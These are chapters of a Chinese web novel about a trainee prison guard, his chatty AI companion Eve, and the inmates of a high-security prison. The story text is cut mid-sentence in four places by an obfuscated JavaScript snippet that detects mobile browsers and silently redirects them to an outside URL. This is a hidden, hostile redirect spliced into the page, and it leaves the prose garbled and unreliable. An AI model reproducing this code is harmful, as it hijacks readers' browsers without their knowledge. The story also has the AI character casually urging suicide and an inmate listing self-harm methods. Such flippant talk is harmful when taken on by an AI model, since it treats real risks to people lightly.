“前辈前辈,你看!” 蔺言拿出终端,将闵盛的备注改掉,肩靠着肩将终端举到男人面前,笑吟吟的说:“从今天起,你再也不是烤冷面批发商了,我宣布,你是AAA火锅批发商!” 闵盛失笑,随便卖什么吧,至少都是A打头。 视线扫了眼屏幕中的联系人,闵盛注意到了左下角一个灰掉的头像,名字也是初始用户名,在大片奇奇怪怪的备注中显得格外扎眼。 闵盛还想再看仔细点,蔺言已经收回了终端,他亲昵的说:“前辈,快点走吧,我想去看S区。” “嗯,”闵盛应了一声,“跟我来。” 江舒游无声的看着二人之间的互动,微挑的凤眼眨了眨,他十分听话,一个指令一个动作,没有任何不配合的迹象。 这反而让闵盛更加警惕。 能进S区的没有善茬,在把江舒游送进牢房前,他不敢有丝毫放松。 蔺言就不一样了,知根知底的有什么好怕的,他站在江舒游右侧,轻轻拉了拉对方的衣袖,小声问:“你不热吗?” 凤眼溢出笑意,又很快散去,江舒游安静的摇摇头,继续扮演自己的木头人角色。 【夏娃:小心点。】 冷不丁听到机械音,蔺言才想起来夏娃还不知道江舒游的身份,眼珠转了转,少年突然有了个主意。 【蔺言:要是能让他听我的话,可以加分吗?】 【夏娃:可以,但不建议。】 S区危险性太高,夏娃希望蔺言能将自身安全放到第一位。 蔺言只听得进前半句。 小心的戳了戳江舒游的手背,蔺言做贼一样用气音问:“你可以让我摸一下头吗?” 江舒游也做贼一样弯下腰,比了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14422792|153481||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个手势。 蔺言看懂了,腮帮子不满的鼓起:“不行,我的脸不能随便给人捏。” 江舒游直起身,歪了下头,比划了两下。 他的头也不能随便给人摸。 蔺言不高兴的踢了下脚底的石子,江舒游就是坐地起价,以前又不是没摸过。 贱兮兮的男人侧身靠近,指了指自己的额头,又指了指蔺言的脸,试图再商量商量。 蔺言脸一扭,干脆不理他。 看着少年的后脑勺,男人双肩下沉,隔着布料呼出一口气,无奈的将脑袋伸了过去。 摸,给你摸还不行吗? 斜了他一眼,少年重新笑起来,背着走在最前方带路的闵盛,蔺言小心翼翼的掀开他的帽子,手伸进去,在江舒游的发顶拍了一下。 【蔺言:叮!加分!】 【夏娃:仅此一次。】 【蔺言:不要嘛,夏娃,每个S区犯人都算一次好不好?】 【夏娃:每个都摸一遍,你的手还要不要了?】 【蔺言:没有学分,我要这手有何用,倒不如就此斩下,夏娃,你记住,我的手是为你而断,我的血…】 【夏娃:停。】 【夏娃:别摸头了,让他们听话就行。】 【蔺言:我就知道你是最好的人工智能,我再也不偷偷说你小气了!】 说出来了。 怎么办怎么办,刚到手的学分还没热呢! 蔺言高频率的眨了眨眼,慌慌张张的试图找补。 【夏娃:没事,我也偷偷和其他人工智能说你是撒娇怪。】 嗯? 慌乱的神色蓦地消失,蔺言松开江舒游的帽子,大踏步“酷酷”两下,走到闵盛身边生闷气。 “怎么了?” “饿了。” 蔺言抬起眼,重复了一遍:“前辈,我饿了。” 【夏娃:你又在无意识的撒娇了。】 【蔺言:小心我吊死在校门口。】 夏娃立刻闭上了嘴。 蔺言胆子又大又小的,指不定真做得出来。 S区是一座高塔,常年封闭,没有窗户,越向上腐败的气味愈发浓烈,四面八方攻击人类的感官。 蔺言捂着口鼻,再一次羡慕起江舒游的装备。 除去崔堂,S区还有四个人,阴沉的光线之中,闵盛押着江舒游向深处走去,两边的牢房中静悄悄的,好似没有活人。 蔺言一边走一边好奇的张望,牢门旁挂着的金属牌子上满是划痕,不规则的暗红色不知道是血还是锈迹。 S02,褚沙。 S06,崔堂。 S07,尹玉成。 S08,弗朗泽·戴维。 S09,康拉德.加西亚。 最终,三人在S012牢房前站定,不用闵盛说什么,江舒游自觉的走了进去,往床上一躺,舒舒服服的盖上被子闭了眼。 “他是来度假的吗?”身后传来讥笑声。 蔺言回过头,看到了趴在栏杆上的英俊男人,他的银发很久没有修剪了,随意的披在肩上,双手布满了烧伤般的疤,食指指根处有一道不明显的白色戒痕。 薄唇轻轻挑起,男人对着蔺言笑起来,眼神却审视似的将蔺言从头到脚打量了一遍:“长官,日安。” 康拉德.加西亚,虐待犯。 17.你怎么乱画大饼啊 B区 里德捧着暗红的手套,生无可恋的躺在地板上,周围犯人的欢呼声从耳道里爬来爬去,留不下一点痕迹。 “嘿!里德!你还没把长官的手套扔掉呢?”室友笑嘻嘻的蹲下身,伸手想去摸,被里德“啪”的一巴掌扇开了。 里德歪过脑袋,双目无神的看向他:“别吵,我在思考。” 几天过去了,蔺言还没来问他手套的事,说不定已经忘了……万一没忘呢? 里德拍了拍自己的脸,抱着手套翻了个身,目之所及是面色潮红,兴奋的一边尖叫一边拥抱的囚犯们。 一名新S区犯人的出现就像将饥饿的鲨鱼扔进了池塘,这群待在其中的小鱼却丝毫不知道危险的逼近,激动的期待着江舒游能够大闹一场。 没人知道他的来历,一个S区犯人的名头就足以让他们为他扣上层层罪名。 “他们激动什么?”里德翻了个白眼,“新来的S区犯人又不会把他们当人。” 室友呲了呲牙,“我只在乎新长官和新犯人哪个更厉害。” 那当然是新长官。 里德的表情充分说明了他的立场。 室友嗤笑了声,“你还是继续为那副手套发愁吧,我听说长官最近和A区老大走得挺近,恐怕没时间搭理你。” 听到A区,里德抬起眼,好奇的问:“明秋阳吗?” 室友神秘的笑了笑,一只手屈起搭在膝上,“明秋阳是挺厉害,但是想在A区称王还不够格。” 里德转了转眼珠,他进来的时间太短,对于A区的了解还不如海里的异兽,只能试探的问:“那个老大居然比明秋阳还厉害?” “那当然!” 室友搓了搓手,一边的眉毛高高挑起:“霍华德家族知道不?那可是法泽星的实权掌握者,A区就有一个霍华德!” 里德知道如今霍华德家族的当家是谁,自然也想起了几年前的内斗失败者。 迟疑的动了动唇,男人眼中闪过惊愕之色:“克里斯曼·霍华德?” “谁允许你叫我全名?”金发男人不爽的斜了角落里的青年一眼。 牧闻当即举起双手做投降状,而这个动作更加激怒了克里斯曼,他抓起手边的枕头直接扔了过去。 这玩意儿没什么实际攻击性,牧闻也懒得躲,挨了一下后嬉皮笑脸的说:“我还以为你的脾气变好了。” “毕竟,”牧闻卷了卷脑后的小辫子,道:“你有了个好脾气的朋友。” 在法泽星,克里斯曼也拥有不少“朋友”,他们为他带来了大量利益,然后在合适的时候被他丢弃,克里斯曼榨干了这些人的血肉,而这样不留情面的做法也让他在内斗中失去了人心。 这不代表他的兄长就多么善良,只是没他那么着急卸磨杀驴罢了。 霍华德家主偏爱逼着对方自行离开。 截然不同的兄弟二人体内留着如出一辙的黑血。 克里斯曼这辈子没交过这么憋屈的朋友,他甚至无权拒绝蔺言。 一把枪可以解决很多问题。 克里斯曼以前最爱这么做,轮到自己时便开始谴责这是霸权主义了。 “好脾气?”克里斯曼讥笑一声,“你是指第一次见面就送上电击礼物吗?” 重点难道不是朋友吗? 牧闻下意识扭了扭脖子,嘴里无所谓的说:“没伤口也没流血,长官只是想给我一个下马威…哦,差点忘了,你才是得到下马威的那个。” 牧闻的指尖在空气中点了点,问道:“缝得很不错吧?” 明秋阳耳尖动了动,侧头看了过来,声音平静的回道:“很不错。” 这可是他辛辛苦苦半小时的劳动成果,克里斯曼要是敢挑刺他就把克里斯曼的嘴缝上。 克里斯曼奇怪的看了眼突然加入他们对话的明秋阳,随口道:“是不错。” 很好。 明秋阳点点头,退出了对话。 “他一直这样吗?”一名犯人问道。 牧闻微微颔首:“我就说他很讨厌吧。” 那犯人没继续搭腔,非要说的话,他讨厌这里的所有人,如果食堂继续给他啃草,早晚有一天他会比明秋阳还寡言。 饿到张不开嘴了。 “S区的那个,”牧闻托着腮问:“你们有人认识吗?” “什么这个那个的,脸不知道名字也不知道,就是妈咪来了我也不知道啊!” 猝不及防听到壮汉掐嗓子,牧闻立刻露出嫌弃的表情:“妈宝男离我远点。” 那名犯人不悦的瞪了他一眼,克里斯曼倒是笑了,“我挺希望是我哥进来。” 牧闻管不住嘴,忍不住问道:“你哥进来和你玩二人转吗?” 那当然是玩不了的,克里斯曼根本不会允许他哥活过一天。 明秋阳冷不丁又插了一句:“新犯人,是蔺长官负责收押。” 空气瞬间陷入了诡异的静默之中,克里斯曼缓缓坐直了身子,将踩在床铺上的脚放了下去。 又是蔺言,怎么哪都有他? 牧闻蹲着也不是站着也不是,扎了两秒马步,觉得自己太神经了,干脆往地上一坐。 轻微的碰撞声响起,众人的表情微妙的变了变。 为了缓解尴尬,牧闻低声道:“我就说他很讨厌吧?” 这一次换来了大多数人的支持,话题也从新犯人身上偏到了蔺言身上。 牧闻摇摇头:“新来的恐怕要惨了,我们长官…哎,谁让他运气那么差,偏偏赶上了长官实习期。” 程北冷笑:“你又我们上了。” 牧闻可不理他,自顾自的说:“长官要是给S区也来个下马威就好了,我就喜欢看这个。” “不能吧,”另一名犯人拧着眉反驳:“S区才不管你是人是鬼,蔺言总不能上去就给人吃枪子吧?” 刚吃过枪子的某人挑起了眉。 “你闭嘴。” 克里斯曼指了指明秋阳:“你知道的多,你来说。” 明秋阳抬起头,迎着无数灼灼的目光,顿了一下,面无表情的说:“我不知道多少。” 克里斯曼没心情和他浪费时间,命令道:“说。” 明秋阳依然像个年久失修的老机器一样,一个指令一个动作,慢吞吞的回道:“S区,有两个不好惹的,一个好惹的,一个看起来好惹的,一个看起来不好惹的。” 康拉德·加西亚就是不好惹的两人之一。 “长官,您有发绳吗?”康拉德五指插进发丝间捋了几下,微笑的说:“我的头发有些长了。” 男人瞧着年近三十,衣着整洁,脸上挂着得体的笑容,说话时刻意的收着尾音,如 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14437420|153481||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 果男人没有用那双毒蛇般的眸子盯着他看的话,蔺言说不定会很喜欢康拉德。 “没…” “别理他,”闵盛直接挡在了蔺言身前,解释道:“康拉德最喜欢哄骗年轻人,邀请他们去他的城堡度假,然后将这些人残忍虐杀。” “尤其是你这样的,最好骗。” 蔺言吸了口气,小心翼翼的从闵盛肩头伸出半个脑袋,恶狠狠的瞪了康拉德一眼。 康拉德一回视,他又立刻将脑袋缩了回去。 【夏娃:怕什么,去他牢门前吊死。】 【蔺言:我怕他虐待我的尸体。】 康拉德低笑了两声,“别紧张啊,闵盛,我只是想和这位面生的小长官打个招呼。” “毕竟,以后我还要多仰仗他呢。” 康拉德生了一双暗红色的眸子,这让他看起来缺乏亲和力,因此,每当他想要骗人时,就会眯眼笑起来。 蔺言学了一下他的表情,只觉得脸上肌肉绷得难受。 “别打招呼了,我是实习生,”蔺言从闵盛身后伸出手,指了指闵盛的脸:“你仰仗他吧。” 闵盛无奈的叹了口气,将蔺言的手按了下去,“都叫你别理他了。” 蔺言满脸无辜:“是他先搭话的。” 闵盛怪不了蔺言,只能抽出电棍轻轻敲了敲栏杆,警告道:“收收你那点心思,加西亚,桑德拉不是能让你肆意妄为的地方。” “瞧您说的…我从来没有什么坏心思。” 康拉德依然在笑,他喜欢年轻人的血,新鲜、火热,充满了他所渴望的生命力。 在桑德拉,康拉德几乎见不到几个干净点的年轻人,罪犯们的血早就被罪恶的内心腐蚀,光是闻到就让康德拉反胃。 刚入狱那段时间,他杀了几个臭不可闻的罪犯,忍着恶心找到了罪行相对轻一些的犯人,但他们的血依然不能让康拉德满意。 不断的杀戮让他很快喜提小黑屋三进三出,次数多了之后,康拉德也疲惫了。 在沼泽之中怎么能挖出太阳? 他渴望的东西在桑德拉之外。 男人缓缓咬了咬唇内侧的软肉,呼吸是对气管的凌迟,康拉德的心跳却越来越急促,有虫在胸腔打洞,一下一下撕咬,和心跳同频。 “您居然想不开来这里实习,真是太好了。” 康拉德再次握住栏杆,红瞳微缩,眼白围着那一点亮色,古怪又渗人。 “康拉德·加西亚。” 男人深情的念了一遍自己的名字,但他的表情却像是在咀嚼肉块:“希望您能记住我。” 如果蔺言愿意在他面前放点血,康拉德一定会用尽世间一切美好的词汇去赞美他。 仅限于口头赞美。 蔺言抓着闵盛的衣服,这次他听话了,说不理就不理,康拉德没等来少年的回应,等来了两个远去的背影。 男人的表情僵了两秒,很快被透出皮肉的阴鸷所取代,握着栏杆的双手隐隐颤抖,疤痕游蛇一般在手背上爬行。 走廊里突然传来了脚步声,蔺言去而复返。 康拉德立刻松了手,他刚整理好表情,就见蔺言在牢房门前“呸”了一声,转身就啪嗒啪嗒的跑了。 【夏娃:嗯?】 【蔺言:不许扣我分。】 【夏娃:嗯。】 18.烧成灰了还剩下一张嘴 闵盛哭笑不得,他轻轻拍了下蔺言的后脑勺算作教训,“你招惹他干嘛。” 蔺言没回答,拉着闵盛的手就往外跑,闵盛一个好好的旁观者就这么被带成了他的共犯。 跑进电梯里,蔺言扶着双膝呼出一口气,双颊因为运动涌起了淡淡的绯色,闵盛倒是不痛不痒的,呼吸频率都没什么变化。 蔺言扶着墙站直身体,羡慕的问道:“前辈,你不累吗?” 闵盛拍了拍蔺言的背替他顺气,嘴里不咸不淡的嗯了一声。 有人靠为什么还要靠墙。 蔺言身子一歪直接趴闵盛肩上了,双手抱着对方的手臂,少年埋头蹭了蹭闵盛的颈,闷声道:“我善良温柔慈爱面冷心热的前辈啊,可以给我靠一会儿吗?” 你都已经靠过来了,闵盛难道还能推开吗? 男人无奈的笑了笑,“你枪法不错,为什么体力这么差?” “因为我是大学生啊。”蔺言说的理直气壮。 仅代表他自己,不扫射所有大学生,蔺言还记得那群目标是执法队的同学们,跑起来的风都能把蔺言卷到天上去。 电梯抵达第一层,铁门打开,刚刚还一副没骨头模样的蔺言立刻跳了出去。 “前辈前辈,我们接下来要去做什么?今天好像没有劳动任务…嗯,对,没有。” 闵盛提溜着蔺言的后领,将少年向上拉了一下,蔺言也配合的踮了下脚,重新落地后,少年安静了下来。 他满眼亮晶晶的看着闵盛,弯起的眼尾里藏着点点星子。 闵盛松开手,掌心压在少年的肩头说:“下午的放风时间经常容易起骚乱,比如上次明秋阳和牧闻发生的剧烈冲突,因此B区和A区分别需要派狱警进行监管,晚餐过后,还要进行每月一次的例行检查。” “例行检查?”这个蔺言没听说过,星网上也从来没提过。 桑德拉的全封闭管理让这所监狱成了大众眼中的恐怖集-中营,一无所知让他们的猜想越来越夸张,甚至有桑德拉的狱警每天都要杀一名犯人的传言。 闵盛解释道:“犯人每消停一段时间就会开始打新的算盘,我们要做的就是毁掉他们的幻想。” 说到这,男人的眼中闪过冷芒,“恶念就像杂草一样,需要定期修剪。” 担心蔺言对他印象恶化,闵盛又补了一句:“这是人道主义。” 蔺言重重的点头:“我明白,只要让他们安分点,不要起坏念头就行了。” 闵盛不是这个意思,但蔺言不需要知道他的真实想法。 三个月之后,一尘不染的离开吧。 ** 不得不说,桑德拉的待遇确实不怎么样。 江舒游睡了半天,醒来时肚子里咕噜噜的叫,他翻了个身,从口袋里掏出严安给的特殊通讯器敲了敲,小声问:“我的一对一狱警在哪?” 江舒游指名要蔺言,但是严安不同意,比起善于浑水摸鱼的老狱警,严安绝对不允许认真干活的实习生在江舒游身上浪费时间。 兜兜转转,这个差事落到了躺在医务室的杰森身上,反正这几天他干不了活,用来应付江舒游正好。 “你等会儿,下午放风的时候就能见到了。” “杰森会来找你的。” 严安说完立刻挂断了通讯,好像江舒游是只吃人的野兽似的,但他挂的太快,也错过了江舒游的下一句话。 “放风的时候我能出去吗?” 没有回答,那就是默认了。 江舒游坐起身,轻而易举的解开了手上的电子镣铐,接着抓住栏杆晃了晃。 笑死,晃不动一点。 江舒游蹲下身,指甲在金属栏杆深深嵌入的部位刮了刮,严丝合缝,靠人力根本不可能撬开。 拿起地上的电子镣铐,江舒游直接砸了上去,“当啷”一声轰鸣,青年倒吸一口凉气,捂住嗡嗡作响的耳朵缓了一会儿,重新躺回了床上。 江舒游虽然没能靠双手挖出地道,也没能大力出奇迹破开栏杆,但他成功惊动了几位室友。 “你想出去不用那么麻烦,”康拉德卷了卷袖口,提醒道:“学学崔堂,大面积破坏牢房,抠门的严安绝对看不下去,或者学习褚沙,他的法子也百试百灵。” 崔堂和褚沙的名字,但凡关注过新闻都不至于一无所知。 江舒游也自来熟的和康拉德聊了起来:“褚沙?他做了什么?” “他自残了。” 康拉德坏笑起来:“狱警们可不敢让褚沙死。” 江舒游回头扫了眼只有一张床和被子的牢房,空荡的老鼠都懒得打动进来,“我没工具啊。” 康拉德眉尾扬起:“发挥你的想象力,年轻人。” “牙,撞墙,掰指,拿衣服当绞绳…”康拉德一边说手指一边轻轻的敲击栏杆,最后,他笑起来:“咬舌。” “褚沙有的是办法。” 江舒游缓缓躺回了床上。 假重刑犯和真重刑犯之间的差距堪比云泥,不是一个圈子别硬融。 自己的名字被反复提及,褚沙却没有半点动静,江舒游等了又等,依然只有康拉德愿意理他。 有的时候真的会怀疑其他牢房是不是死光了。 ** 放风是犯人们最活跃,也最危险的时间,所有狱警都打起了精神,蔺言在人群中扫了几眼,很快发现了自己新交的朋友。 “克里斯曼!”少年高高举起手挥了挥。 明秋阳和牧闻同时看了过来,见蔺言是冲着克里斯曼来的,一个重新蹲下身堆沙堡,一个笑容戏谑的眯起眼。 “老大,你的好朋友来了。” “滚远点。”克里斯曼不悦的瞪了牧闻一眼。 金发男人像个路标似的往那一站,不给蔺言任何回应。 蔺言直接走了过来,人群如摩西分海般向两侧涌去,空出一条空旷的道路,这条道路的尽头就是脸色难看的克里斯曼。 一群废物,蔺言有什么好怕的,没了枪,克里斯曼一只手就能扭断他的脖子。 蔺言在克里斯曼身前站定,然后弯下腰和明秋阳打了个招呼:“下午好,小明同学。” 明秋阳抬起头,无声的颔首。 牧闻也笑嘻嘻的凑过来:“长官,我也好。” 蔺言先是扫了眼牧闻的手臂,第二眼才落在男人的脸上,“你往后退一点。” “啊?”牧闻不解,但还是照做了。 待男人退开半米后,蔺言满意的点点头:“这个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14446937|153481||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 距离,明秋阳打你你也能躲得开。” “长官,您多虑了,”牧闻踢了踢脚下的沙子,双手插兜,不怀好意的瞥了眼明秋阳:“我们俩之间,需要担心的是他才对。” 啊对对对。 手被打断的不是你是吧。 在我面前装可怜的不是你是吧。 嘴这么硬怎么不给克里斯曼挡子弹啊。 【夏娃:不要打击犯人的自信心,要是他学会了收敛,以后就看不到牧闻挨打了。】 【蔺言:你坏。】 【夏娃:我给你加学分了。】 【蔺言:牧闻坏。】 克里斯曼最受不了被忽略,偏偏蔺言每次都能做到冲着他来然后被其他人吸引注意力。 即使是和兄长争斗时,克里斯曼都没有成为那人的影子,进了桑德拉,他反倒在蔺言面前变成了背景板。 “长官。”金发男人忍不住插话,但他就叫了这么一声,什么也没说。 蔺言看了他两秒,没等到后面的台词,再次将视线移开了。 克里斯曼腮帮子微微绷紧,像是咬住了齿关。 “长官。”他又叫了一次,咬牙切齿般重的音节让蔺言心生疑惑。 少年“嗯”了一声,问道:“怎么了,克里斯曼?” 怎么了?他居然问怎么了? 克里斯曼几乎要气疯了,他堂堂霍华德家族的次子,要风得风,要雨得雨,哪怕进了桑德拉,那些狱警对他也是敬而远之,谁敢像蔺言一样戏弄他! 这可恨的家伙,难道从不觉得自己有多么恶劣吗? “我以为,”男人深邃的双眸定定的盯着蔺言的脸,说话时的声音刻意的压低,“您刚刚是来找我的。” 而不是那两个低贱的废物。 他是克里斯曼,他是焦点,理应如此。 蔺言眨了眨眼,“也不是,就,我比较怕生。” 少年指了指明秋阳,又指了指牧闻:“整个A区,我比较熟的只有你们几个,我就过来了。” 要不然一个人站着多尴尬啊。 【夏娃:我觉得克里斯曼现在也挺尴尬的。】 【蔺言:那怎么办?】 【夏娃:给他点朋友的温暖。】 克里斯曼想杀人。 他不相信这个第一次正式见面就给了他一枪的少年会是如外表那般的“纯良”角色。 缝补尸体当下马威的人会怕生? 这一定是蔺言在糊弄他。 几次三番的用这种把戏逼他破防,蔺言就是个彻头彻尾的恶人,他很适合桑德拉,更适合桑德拉的牢房。 霍华德家族喜欢这种人,但克里斯曼不喜欢。 蔺言不会为他效力,只会用软刀子将他扎成马蜂窝,克里斯曼相信,就算是他的兄长来也不能驯服蔺言。 这并不能安慰到克里斯曼,只能更加证明霍华德的无能。 海水一下一下拍打礁石,发出震耳的轰鸣声,克里斯曼开始止不住的幻想,如果把蔺言扔进海里,他会不会感到恐惧? 那张让人心底生厌的虚伪笑脸会不会在海水的浸泡中露出真面目?当死亡逼近,他会不会哭出来? 到那时候,蔺言还能忽视他这根救命稻草吗? 19.康拉德可以去牧闻心里找太阳 夏娃说要给克里斯曼一点朋友的温暖,蔺言只能拿出他对付温纶的那一套。 既然温纶吃,那克里斯曼也不至于一点都不吃吧? “你生气了吗?”少年面露歉意:“我不是故意忽略你的,今天S区来了一名新犯人,我有点害怕,所以……” 编不下去了,总之麻烦你自己脑补一下。 蔺言伸手握住了克里斯曼的食指指尖,瞬间发现了男人的肢体有多么僵硬,但蔺言没有点破,垂着脑袋问:“你的手好冷啊,要不要我给你暖暖?” 【夏娃:好物理的温暖。】 克里斯曼比蔺言高,手也比他大,蔺言不能把他的手背全包进去,斟酌再三,选择了捂住几个指节。 意思到了就行,不要太挑剔。 等待了几秒,没得到克里斯曼的任何反应,蔺言慌张的转了转眼珠,手里握的更紧了。 不会吧,你不会不吃这一套吧? 【蔺言:他怎么不说话啊?】 【夏娃:也许他是意大利人。】 被握住手就说不了话。 千年来所有民族融为一体建立联邦,根本分不清自己祖上是哪一脉的,蔺言只能似懂非懂的眨眨眼。 掌心的热意顺着皮肤渡了过来,克里斯曼陷入了一阵头脑风暴。 蔺言又有什么阴谋? 这里是海边,青舌海兽潜伏在水面之下,蔺言想让他去海兽的肚子里温暖一下吗? 不,不对,克里斯曼很快推翻了自己的猜测,青舌海兽无差别攻击,蔺言不至于以身犯险。 附近都是A区的犯人,蔺言突然对他示好,难道是想拉拢A区罪犯? 他确实说自己和其他人不熟来着,但是这些没骨气的废物有什么值得拉拢的,他克里斯曼才是唯一有价值的存在。 除去以上这些阴谋论,一个更可怕的猜测在克里斯曼脑海中成型。 蔺言不会真想和他做朋友吧? 停。 控制住自己越来越古怪的大脑,克里斯曼闭了闭眼,将写着蔺言名字的废料一次性全扔了出去。 “长官,该害怕的是我才对。”克里斯曼冷笑了一声。 “不知道您这次枪里又有几颗子弹,我胆子小,不想给您当靶子。” 嘴上这么说,克里斯曼的表情却十分傲慢,眼神扫描仪一般掀开了蔺言每一寸皮肤,在那之下藏着的是克里斯曼至今搞不懂的秘密。 蔺言究竟图谋什么? 他说话如此咄咄逼人,在蔺言看来却没什么攻击性。 要体谅一个在监狱里待了三年中了两枪尚未痊愈就被放出来吹海风的可怜…不可怜人。 “你放心,我不会随便开枪,”蔺言对着他弯起唇角,“你别故意惹我生气就行。” 他声音温和,内容却尖利,克里斯曼额头青筋直跳,两人的手还握在一起,比起友谊,更像锁链。 “长官,您真的打算激怒我吗?” 克里斯曼阴冷的吐出蛇信子:“海水可以吞噬一切。” 赤裸裸的威胁化作巨蛇对着蔺言扑来,关键时刻,还是牧闻跳出来打圆场:“长官,这里风大,要不我们去里面吧,你看明秋阳冻得脸都白了。” 明秋阳疑惑的抬眸,他不冷啊。 好样的,没白陪你摸鱼,不是,治病。 蔺言给了牧闻一个夸奖的眼神,顺势松开手,退到明秋阳旁边,蹲下身搓了搓他的脸:“真的很冷,小明同学,我们回去吧。” 明秋阳闻言,看了眼蔺言单薄的制服,点点头,视线越过蔺言同克里斯曼相接。 克里斯曼嘲讽的挑起唇,又一个蔺言的“朋友”。 明秋阳很少得罪人,克里斯曼也顾忌着他背后的那位,两人这几年也算是相安无事。 虽然他偶尔会放几句垃圾话,但只要明秋阳的老大还在S区待着,他们就不会轻易发生冲突。 说是回去,蔺言毕竟还要看着犯人们,走到背风处就停下了。 “S区不可怕。”明秋阳突然说。 “嗯?”蔺言掀起眼皮,眼前突然暗了下去,是明秋阳的外套挡住了光线。 黑发青年抿了抿唇,劝慰道:“你不用害怕,在监狱,狱警才是食物链顶端。” 蔺言将外套拨开,露出发丝凌乱的脑袋,反应过来明秋阳的意思,他唇一咧露出两颗虎牙:“我骗克里斯曼的,我才不怕。” 江舒游有什么好怕的。 将外套重新递过去,蔺言笑嘻嘻的用自己的掌心贴在明秋阳的侧脸上,“我不冷,这也是骗克里斯曼的,哝,很热吧。” 短短一秒,蔺言就收回了手。 明秋阳怔了一下,将外套重新穿上,硬夸道:“你挺会骗人的。” 这算夸奖吗?蔺言不知道。 他偷偷摸摸的凑到明秋阳耳边问:“我今天遇到一个叫康拉德的犯人,你认识他吗?” 明秋阳呼吸放缓了些,摇摇头说:“不熟。” 【夏娃:他这个性格,跟谁都不熟。】 【蔺言:那我呢?】 【夏娃:你是自来熟。】 海边 克里斯曼捏了捏指节,一脚踹在了牧闻小腿上,“我怎么不知道,你还挺关心明秋阳?” 牧闻“哎哟”一声跪在了明秋阳的沙堡上,“老大,冤枉啊,天无二日,人无二主,我牧闻心中只有一个太阳!” “谁?” 克里斯曼冷笑:“你的太阳是谁,说说?” “您问的,那当然是您。” 牧闻站起身,拍了拍裤子上的沙,意有所指的说:“我心里几个太阳不重要,重要的是,桑德拉只有一个太阳。” 监狱长。 不管下面的人怎么抱怨,严安的命令就是桑德拉的最高指令。 杰森脖子上缠着一圈绷带走进S区时,一只血淋淋的手从牢房中伸了出来,指缝里全是暗红的血泥,不知道积了多久。 这只手缓缓握住栏杆,在金属表层留下了大面积的红色,半干的液体附着其上,生锈了一般。 杰森身形一顿,低头看过去,黑发青年以一种扭曲的姿势趴在地上,一只布满红血丝的眼睛从发缝中间露了出来。 “杰森长官,我想出去。” 沙哑的男声熟悉又刺耳。 褚沙。 中央星 斯科特翘着二郎腿,屈指敲了敲桌面,面色阴沉。 一排执法队成员双手紧贴裤缝,低着头面露惭色,大气不敢出一声。 他们用褚沙威胁玉吉星星长的做法起效了,玉吉星对他们开放,执法队可以随意搜查,甚至星长还派人协助他们。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14456594|153481||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这些人做事粗鲁,直接闯入居民楼,问就说是执法队的命令,导致执法队在玉吉星名声扫地,走在路上都要被人翻白眼。 如果只是这样也没什么,但他们什么也没找到。 江舒游不在玉吉星。 令人窒息的气氛中,斯科特缓缓停下动作,双手交叉放在膝盖上,男人示意最左方的队员出列。 “最后一次锁定江舒游的位置时,你怎么说的?” 那人紧张的垂眼:“我说,江舒游一定在玉吉星。” “看来你的记性还不错,”斯科特眯起金瞳,“那你记不记得,你说的后半句话?” 男人的头压的更低了,嘴唇干涩,舌头黏在了上颚般开不了口。 他当然记得,他说如果江舒游不在玉吉星,就倒立表演吃枪子,事实证明,赌-博有害身心健康。 斯科特腰身向后一靠,整个人陷进椅背里,眸子危险的看着男人:“现在,你需要给我一个解释。” “找到江舒游,或者——” 斯科特掏出枪,“啪”的一声拍在桌面上,道:“这里面有四颗子弹,你的胃容量大吗?” 男人干巴巴的说:“比心眼小。” 斯科特笑了声,“滚出去,你只有一个月的时间。” 男人领命跑了,达摩克里斯之剑落到了其他人的头上,温纶没有参与任何搜捕行为,静静的站在窗边。 直到最后一名队员接受完训斥,斯科特才对温纶招了招手,“江舒游当初是你举报的,你觉得他会藏在哪?” 温纶垂下眼,镜片后的眸子漆黑到足以吞噬一切光线。 “我和他不熟。” “那家伙要么就是在某个臭阴沟里烂了,要么就是躲在角落里研究人类,您如果想抓他,不如想想联邦最令人避而远之的地方是哪儿。” 最令人避而远之的地方? 斯科特的第一反应是园区,第二反应是学校,第三反应是公司。 